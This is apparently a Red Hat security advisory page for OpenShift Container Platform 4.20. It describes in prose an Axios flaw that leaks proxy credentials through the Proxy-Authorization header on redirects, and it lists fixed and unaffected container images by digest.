| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — | ||
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client, specifically in its Node.js HTTP adapter. When Axios is configured to use an authenticated proxy and follows a redirect, it may inadvertently send the Proxy-Authorization header, containing proxy credentials, to the redirect target. This can lead to the disclosure of sensitive proxy credentials to an unintended remote server.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. During specific proxy-to-direct redirect flows in the Node.js HTTP adapter, a remote attacker could exploit this vulnerability. The Proxy-Authorization header, which contains proxy credentials and is intended only for the outbound proxy, may be forwarded to the final redirected origin. This can lead to the disclosure of sensitive proxy credentials to an unintended third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le | — |
Vendor Fix
fix
Workaround
|
Known not affected
89 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64 | — |
Workaround
|
|
